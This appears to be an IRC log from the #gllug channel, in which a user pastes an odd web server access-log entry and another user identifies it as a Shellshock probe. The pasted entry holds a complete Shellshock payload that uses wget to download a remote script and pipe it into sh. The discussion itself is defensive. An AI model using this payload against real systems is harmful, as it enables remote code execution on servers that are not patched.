| 00:13.20 | *** join/#gllug quaisi (~simon@host-92-30-43-142.as13285.net) |
| 03:36.54 | *** join/#gllug Leeds (~richardc@n119236239042.netvigator.com) |
| 04:35.05 | *** join/#gllug ChoHag (~mking@195.200.244.51) |
| 07:20.21 | *** join/#gllug w1bble (~Jamie@host86-160-6-145.range86-160.btcentralplus.com) |
| 07:20.21 | *** join/#gllug w1bble (~Jamie@unaffiliated/w1bble) |
| 07:41.03 | *** join/#gllug CityLights2 (~me@bzq-218-29-26.cablep.bezeqint.net) |
| 07:41.19 | CityLights2 | hi, I just noticed this odd line in my access.log |
| 07:41.53 | CityLights2 | 46.151.212.26 - - [05/May/2015:04:20:56 +0300] "GET / HTTP/1.0" 400 0 "() { :; }; /usr/bin/wget -qO- |
| 07:42.13 | CityLights2 | http://r0r.me/r/x.sh | sh" |
| 07:42.15 | CityLights2 | "() { :; }; /usr/bin/wget -qO- http://r0r.me/r/x.sh | sh" |
| 07:42.21 | CityLights2 | so I assume its bad |
| 08:16.17 | *** join/#gllug chrisp_ (wibble@nat/redhat/x-mpgvgbpxvocvxfxt) |
| 08:30.49 | *** join/#gllug mikejw (~mikejw@unaffiliated/mikejw) |
| 09:14.00 | *** join/#gllug chrisp__ (wibble@nat/redhat/x-hctiyblpsmxnsfzp) |
| 09:14.14 | *** join/#gllug agk_ (agk@nat/redhat/x-kdrytgrscwgpnwlh) |
| 09:19.13 | *** join/#gllug agk (agk@nat/redhat/x-axtfzldnwuxrndav) |
| 09:31.12 | *** join/#gllug chrisp__ (wibble@nat/redhat/x-yarskxfrmfzvawnx) |
| 10:41.56 | *** join/#gllug ess_tee_u (~NULL@2001:8b0:908:6a91:8e89:a5ff:fe52:e41d) |
| 10:41.56 | *** join/#gllug ess_tee_u (~NULL@unaffiliated/ess-tee-u/x-83456671) |
| 12:11.58 | *** join/#gllug dick_turpin (~peter@host217-34-163-30.in-addr.btopenworld.com) |
| 13:55.20 | ChoHag | CityLights2: Someone or, more likely, something is probing your web server to see if it's susceptible to the shellshock bug. |
| 14:29.18 | CityLights2 | but why use the user agent? |
| 14:29.35 | CityLights2 | how to tell if IT found another way in? |
| 15:23.48 | *** part/#gllug dick_turpin (~peter@host217-34-163-30.in-addr.btopenworld.com) |
| 15:53.52 | *** join/#gllug Vyizis (~quassel@2a00:8c40:40:0:216:3eff:fec5:84f9) |
| 16:29.02 | *** join/#gllug Vyizis_ (~quassel@37.77.81.145) |
| 18:05.39 | *** join/#gllug Mohan (~nixh0st@cpc72763-slou3-2-0-cust703.17-4.cable.virginm.net) |
| 18:34.09 | *** join/#gllug agk_ (agk@nat/redhat/x-vgsslrvgpyznqbxy) |
| 18:36.54 | *** join/#gllug chrisp__ (~wibble@host-92-3-87-149.as43234.net) |
| 18:39.11 | *** join/#gllug agk (agk@nat/redhat/x-puqzkwweduveyyuk) |
| 18:51.38 | *** join/#gllug w1bble (~Jamie@unaffiliated/w1bble) |
| 20:01.22 | *** join/#gllug Mohan (~nixh0st@cpc72763-slou3-2-0-cust703.17-4.cable.virginm.net) |
| 20:41.35 | *** join/#gllug morsing (morsing@2a01:7e00::f03c:91ff:fe6e:8c84) |
| 20:50.21 | *** join/#gllug Mohan__ (~nixh0st@cpc72763-slou3-2-0-cust703.17-4.cable.virginm.net) |
| 21:05.32 | *** join/#gllug Mohan (~nixh0st@cpc72763-slou3-2-0-cust703.17-4.cable.virginm.net) |
| 21:10.30 | ChoHag | Fuck IBM. |
| 21:42.01 | *** join/#gllug Mohan__ (~nixh0st@cpc72763-slou3-2-0-cust703.17-4.cable.virginm.net) |